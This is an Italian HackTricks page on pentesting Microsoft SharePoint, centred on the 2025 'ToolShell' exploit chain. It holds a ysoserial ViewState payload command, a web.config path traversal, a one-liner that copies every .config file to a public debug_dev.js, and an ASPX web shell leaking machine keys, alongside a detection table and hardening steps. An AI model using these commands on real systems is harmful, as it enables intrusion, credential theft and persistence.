mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
127 lines
6.3 KiB
Markdown
127 lines
6.3 KiB
Markdown
# Microsoft SharePoint – Pentesting & Exploitation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> Microsoft SharePoint (on-premises) è costruito su ASP.NET/IIS. La maggior parte della superficie di attacco web classica (ViewState, Web.Config, web shells, ecc.) è quindi presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e servizi web che ampliano notevolmente la superficie di attacco esposta. Questa pagina raccoglie trucchi pratici per enumerare, sfruttare e persistere all'interno degli ambienti SharePoint con enfasi sulla catena di exploit 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771).
|
||
|
||
## 1. Quick enumeration
|
||
```
|
||
# favicon hash and keywords
|
||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||
|
||
# version leakage (often in JS)
|
||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||
|
||
# interesting standard paths
|
||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||
|
||
# enumerate sites & site-collections (requires at least Anonymous)
|
||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||
```
|
||
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
|
||
|
||
### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
|
||
|
||
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` consente l'inserimento di codice *Server-Side Include* arbitrario nella pagina che viene successivamente compilata da ASP.NET. Un attaccante può incorporare C# che esegue `Process.Start()` e inserire un ViewState malevolo.
|
||
|
||
### 2.2 CVE-2025-49706 – Improper Authentication Bypass
|
||
|
||
La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, la MFA/SSO imposta nel sito principale può essere bypassata **senza autenticazione**.
|
||
|
||
### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
|
||
|
||
Una volta che l'attaccante controlla un gadget in `ToolPane.aspx`, può inviare un valore `__VIEWSTATE` **non firmato** (o solo MAC) che attiva la deserializzazione .NET all'interno di *w3wp.exe*, portando all'esecuzione di codice.
|
||
|
||
Se la firma è abilitata, rubare il **ValidationKey/DecryptionKey** da qualsiasi `web.config` (vedi 2.4) e forgiare il payload con *ysoserial.net* o *ysodom*:
|
||
```
|
||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||
```
|
||
Per una spiegazione approfondita su come abusare di ASP.NET ViewState leggi:
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||
{{#endref}}
|
||
|
||
### 2.4 CVE-2025-53771 – Path Traversal / divulgazione di web.config
|
||
|
||
Inviare un parametro `Source` creato a `ToolPane.aspx` (ad es. `../../../../web.config`) restituisce il file mirato, consentendo la fuga di:
|
||
|
||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forgiare i cookie ViewState / ASPXAUTH
|
||
* stringhe di connessione e segreti.
|
||
|
||
## 3. Ricette di post-sfruttamento osservate in natura
|
||
|
||
### 3.1 Esfiltrare ogni file *.config* (variazione-1)
|
||
```
|
||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||
```
|
||
Il file risultante `debug_dev.js` può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili.
|
||
|
||
### 3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2)
|
||
```
|
||
powershell.exe -EncodedCommand <base64>
|
||
```
|
||
Esempio di payload decodificato (abbreviato):
|
||
```csharp
|
||
<%@ Page Language="C#" %>
|
||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||
<script runat="server">
|
||
protected void Page_Load(object sender, EventArgs e){
|
||
Response.Write(MachineKey.ValidationKey);
|
||
// echo secrets or invoke cmd
|
||
}
|
||
</script>
|
||
```
|
||
Scritto a:
|
||
```
|
||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||
```
|
||
La shell espone endpoint per **leggere / ruotare le chiavi della macchina** che consente di forgiare i cookie ViewState e ASPXAUTH attraverso la farm.
|
||
|
||
### 3.3 Variante offuscata (variazione-3)
|
||
|
||
Stessa shell ma:
|
||
* posizionata sotto `...\15\TEMPLATE\LAYOUTS\`
|
||
* nomi delle variabili ridotti a lettere singole
|
||
* `Thread.Sleep(<ms>)` aggiunto per evasione della sandbox e bypass basato sul timing.
|
||
|
||
## 4. Idee di rilevamento
|
||
|
||
| Telemetria | Perché è sospetta |
|
||
|------------|-------------------|
|
||
| `w3wp.exe → cmd.exe` | Il processo worker dovrebbe raramente generare una shell |
|
||
| `cmd.exe → powershell.exe -EncodedCommand` | Modello classico di lolbin |
|
||
| Eventi di file che creano `debug_dev.js` o `spinstall0.aspx` | IOCs direttamente da ToolShell |
|
||
| `ProcessCmdLine CONTIENE ToolPane.aspx` (log ETW/Modulo) | PoC pubbliche invocano questa pagina |
|
||
|
||
Esempio di regola XDR / Sysmon (pseudo-XQL):
|
||
```
|
||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||
```
|
||
## 5. Indurimento e Mitigazione
|
||
|
||
1. **Patch** – Gli aggiornamenti di sicurezza di luglio 2025 risolvono *tutti* e quattro i CVE.
|
||
2. **Ruotare** ogni `<machineKey>` e i segreti di `ViewState` dopo una compromissione.
|
||
3. Rimuovere il permesso di scrittura *LAYOUTS* dai gruppi `WSS_WPG` e `WSS_ADMIN_WPG`.
|
||
4. Bloccare l'accesso esterno a `/_layouts/15/ToolPane.aspx` a livello di proxy/WAF.
|
||
5. Abilitare **ViewStateUserKey**, **MAC abilitato** e *EventValidation* personalizzato.
|
||
|
||
## Trucchi correlati
|
||
|
||
* Post-sfruttamento di IIS e abuso di web.config:
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||
{{#endref}}
|
||
|
||
## Riferimenti
|
||
|
||
- [Unit42 – Sfruttamento attivo delle vulnerabilità di Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||
- [GitHub PoC – Catena di sfruttamento ToolShell](https://github.com/real-or-not/ToolShell)
|
||
- [Avviso di sicurezza Microsoft – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||
- [Avviso di sicurezza Microsoft – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|